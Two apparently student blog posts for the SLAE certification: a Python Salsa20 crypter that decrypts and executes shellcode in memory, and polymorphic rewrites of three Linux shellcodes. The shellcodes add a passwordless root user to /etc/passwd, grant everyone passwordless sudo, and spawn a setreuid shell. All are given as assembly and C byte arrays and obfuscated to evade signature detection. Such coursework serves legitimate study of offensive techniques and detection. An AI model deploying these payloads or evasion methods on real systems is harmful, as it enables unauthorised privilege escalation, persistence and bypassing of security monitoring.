February 29, 2020

SLAE - Assignment #7 - Custom crypter

The tasks for the seventh assignment are:

1. Create a custom crypter like the one shown in the “crypters” video
2. Free to use any existing encryption schema
3. Can use any programming language

   I decided to create python script with 3 input values: password, shellcode and action (encrypt/decrypt). As encryption algorithm I decided to use Salsa20(https://en.wikipedia.org/wiki/Salsa20). This stream cipher won European cryptoalgorithms competition. It is implemented in most languages in well audited libraries. 
   From cryptography point of view my implementation is far from perfect, having serious cryptographical flaw. However, the idea of the crypter is to bypass some signature based protections, not to encrypt data for secure long term storage. Also I will mention this flaw just to make the reader aware of it.

 Let's discuss key code functions:

1. I decided to use password and pass it to key derivation function. I chose pyscrypt python module (https://pypi.org/project/pyscrypt/). This module created key from password using scrypt KDF (https://en.wikipedia.org/wiki/Scrypt). It is a good alternative to known PBKDFv2.
Crypto problem: in my code I use fixed salt instead of randomized. If we use randomized salt we will have to distribute the full key for decryption. In our case we can just use the code with known passphrase.

2. Encryption and decryption functions are pretty straightforward from algorithm usage examples (https://pycryptodome.readthedocs.io/en/latest/src/cipher/salsa20.html). Please, note that nonce is not a secret value, so we can pass it together with encrypted text.

3. To launch my shellcode from python script I used ctypes. I found this blogpost and just followed it - http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. In our case we just load shellcode in memory, knowing the size and address, mark our memory region executable (0x7) and run it.

Here is my code:

#!/usr/bin/env python2

from Crypto.Cipher import Salsa20
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
import sys
import binascii
import pyscrypt

def encrypt(text, secret):
    ciphertext = Salsa20.new(key=secret)
    msg= ciphertext.nonce + ciphertext.encrypt(text)
    print binascii.hexlify(msg)

def decrypt(text, secret):
   
    msg_nonce = text[:8]
    ciphertext = text[8:]
    cipher = Salsa20.new(key=secret, nonce=msg_nonce)
    plaintext = cipher.decrypt(ciphertext)
    print "Your decrypted shellcode is %s" %plaintext
    print "Launching shellcode..."
    execute(plaintext)
   
def execute(plaintext):

    libc = CDLL('libc.so.6')
    shellcode = plaintext.replace('\\x', '').decode('hex')
    sc = c_char_p(shellcode)
    size = len(shellcode)
    addr = c_void_p(libc.valloc(size))
    memmove(addr, sc, size)
    libc.mprotect(addr, size, 0x7)
    run = cast(addr, CFUNCTYPE(c_void_p))
    run()

action = sys.argv[3]
key = pyscrypt.hash(sys.argv[1], "vinegrep", 1024, 1, 1, 32)

if action == "encrypt":
    text = sys.argv[2]
    encrypt(text, key)
elif action == "decrypt":
    text = binascii.unhexlify(sys.argv[2])
    decrypt(text, key)
else:
    print("Allowed actions: encrypt, decrypt")

 I used execve shellcode to check my crypter:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my GitHub repository - https://github.com/vinegrep/SLAE-exam

February 28, 2020

SLAE - Assignment #6 - Polymorphic shellcode

  
This time the task was the following:

1. Take up 3 shellcodes from Shell­‐Storm and create polymorphic versions of them to beat pattern matching.
2. The polymorphic versions cannot be larger 150% of the existing shellcode.
3. Bonus points for making it shorter in length than original

1. Add root user r00t with no password

   My first shell is from here - http://shell-storm.org/shellcode/files/shellcode-211.php. The limitation of this shellcode is that it has to be run as privileged user with level equal to root.

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       push byte 5
       pop eax
       xor ecx, ecx
       push ecx
       push 0x64777373
       push 0x61702f2f
       push 0x6374652f
       mov ebx, esp
       mov cx, 02001Q
       int 0x80

       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       push byte 4
       pop eax
       xor edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       push byte 12
       pop edx
       int 0x80

  ; close(ebx)

       push byte 6
       pop eax
       int 0x80

  ; exit()

       push byte 1
       pop eax
       int 0x80


   After quick analysis I can see that detection can be done by system call numbers. User is adjustable, so it can hardly be used as detection pattern. I am going to hide file name (/etc/passwd) using known key and simple math. Also I changed instructions, but code is semantically the same. Polymorphic version is:

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       mov al, 5
       sub ecx, ecx
       push ecx
       mov ebx, 0x33333333
       mov edx, 0x31444040
       add edx, ebx
       push edx
       mov edx, 0x2e3cfbfc
       add edx, ebx
       push edx
       mov edx, 0x5047561c
       xor edx, ebx
       push edx
       mov ebx, esp
       mov cx, 02001Q
       int 0x80
       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       mov al, 4
       sub edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       mov dl, 12
       int 0x80

  ; close(ebx)

       mov al, 6
       int 0x80

  ; exit()

       sub eax, eax
       inc eax
       int 0x80


   After compilation I got shell code size 79 bytes, original one was 69. I got increase around 27%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xb0\x05\x29\xc9\x51\xbb\x33\x33\x33\x33\xba\x40\x40\x44\x31\x01"
"
\xda\x52\xba\xfc\xfb\x3c\x2e\x01\xda\x52\xba\x1c\x56\x47\x50\x31"
"
\xda\x52\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\xb0\x04\x29\xd2"
"
\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74"
"
\x89\xe1\xb2\x0c\xcd\x80\xb0\x06\xcd\x80\x29\xc0\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


2. Anyone can run sudo without password

   My second shell is from here - http://shell-storm.org/shellcode/files/shellcode-62.php. Let's have a quick look at original shellcode. This will be pretty similar to first exercise, as obvious detections are file name, word NOPASSWD and system call numbers. This shell again requires high privileges to change content of /etc/sudoers file.


section .text
 global _start

_start:

 ;open("/etc/sudoers", O_WRONLY | O_APPEND);
 xor eax, eax
 push eax
        push 0x7372656f 
 push 0x6475732f
 push 0x6374652f 
 mov ebx, esp
 mov cx, 0x401
 mov al, 0x05
 int 0x80

 mov ebx, eax  

 ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
 xor eax, eax
 push eax
 push 0x0a4c4c41
 push 0x203a4457
 push 0x53534150
 push 0x4f4e2029
 push 0x4c4c4128
 push 0x3d4c4c41
 push 0x204c4c41
 mov ecx, esp
 mov dl, 0x1c
 mov al, 0x04
 int 0x80

 ;close(file)
 mov al, 0x06
 int 0x80

 ;exit(0);
 xor ebx, ebx
 mov al, 0x01
 int 0x80

My polymorphic version is:

section .text
    global _start

_start:

    ;open("/etc/sudoers", O_WRONLY | O_APPEND);
    sub eax, eax
    push eax
    mov edi, 0x26082608
    mov esi, 0x4d6a3f67
    add esi, edi
    push esi
    mov esi, 0x8a7d9937
    sub esi, edi
    push esi
    mov esi, 0x457c4327
    xor esi, edi
    push esi
    mov ebx, esp
    mov cx, 0x401
    mov al, 0x05
    int 0x80

    mov ebx, eax 

    ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
    sub eax, eax
    push eax
    push 0x0a4c4c41
    push 0x203a4457
    mov esi, 0x12341234
    mov edi, 0x41675364
    xor edi,esi
    push edi
    push 0x4f4e2029
    push 0x4c4c4128
    push 0x3d4c4c41
    push 0x204c4c41
    mov ecx, esp
    sub edx, edx
    mov dl, 0x1c
    inc eax
    inc eax
    inc eax
    inc eax
    int 0x80

    ; close(file)

    mov al, 6
    int 0x80

    ; exit(0)

    sub eax, eax
    inc eax
    int 0x80


   After compilation I got shell code size 111 bytes, original one was 86. I got increase around 29%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x29\xc0\x50\xbf\x08\x26\x08\x26\xbe\x67\x3f\x6a\x4d\x01\xfe\x56\xbe\x37"

"\x99\x7d\x8a\x29\xfe\x56\xbe\x27\x43\x7c\x45\x31\xfe\x56\x89\xe3\x66\xb9"
"\x01\x04\xb0\x05\xcd\x80\x89\xc3\x29\xc0\x50\x68\x41\x4c\x4c\x0a\x68\x57"
"\x44\x3a\x20\xbe\x34\x12\x34\x12\xbf\x64\x53\x67\x41\x31\xf7\x57\x68\x29"
"\x20\x4e\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41\x4c\x4c\x20"
"\x89\xe1\x29\xd2\xb2\x1c\x40\x40\x40\x40\xcd\x80\xb0\x06\xcd\x80\x29\xc0"
"\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


3. setreuid() shellcode

Third shellcode is from here - http://shell-storm.org/shellcode/files/shellcode-215.php. In this case I will try to rearrange instructions and hide /bin/sh using arithmetic operations as usual. Original shellcode:

section .text
        global _start

_start:

    mov al, 0x17
    xor ebx, ebx
    int 0x80
    mov al, 0xb
    cltd
    push edx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    push edx
    push ebx
    mov ecx,esp
    int 0x80

 
My polymorphic version:

section .text
    global _start

_start:

    push 0x17
    pop eax
    int 0x80
    mov bl, 0x4
    mov cl, 0x7
    add ecx, ebx
    mov al, cl
    sub ecx, ecx
    push ecx
    mov edi, 0x26082608
    mov esi, 0x426b0927
    add esi, edi
    push esi
    mov esi,0x48614427
    xor esi, edi
    push esi
    mov ebx,esp
    push ecx
    push ebx
    mov ecx,esp
    int 0x80

   After compilation I got shell code size 45 bytes, original one was 38. I got increase around 18%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x6a\x17\x58\xcd\x80\xb3\x04\xb1\x07\x01\xd9\x88\xc8\x29\xc9\x51\xbf\x08"

"\x26\x08\x26\xbe\x27\x09\x6b\x42\x01\xfe\x56\xbe\x27\x44\x61\x48\x31\xfe"
"\x56\x89\xe3\x51\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam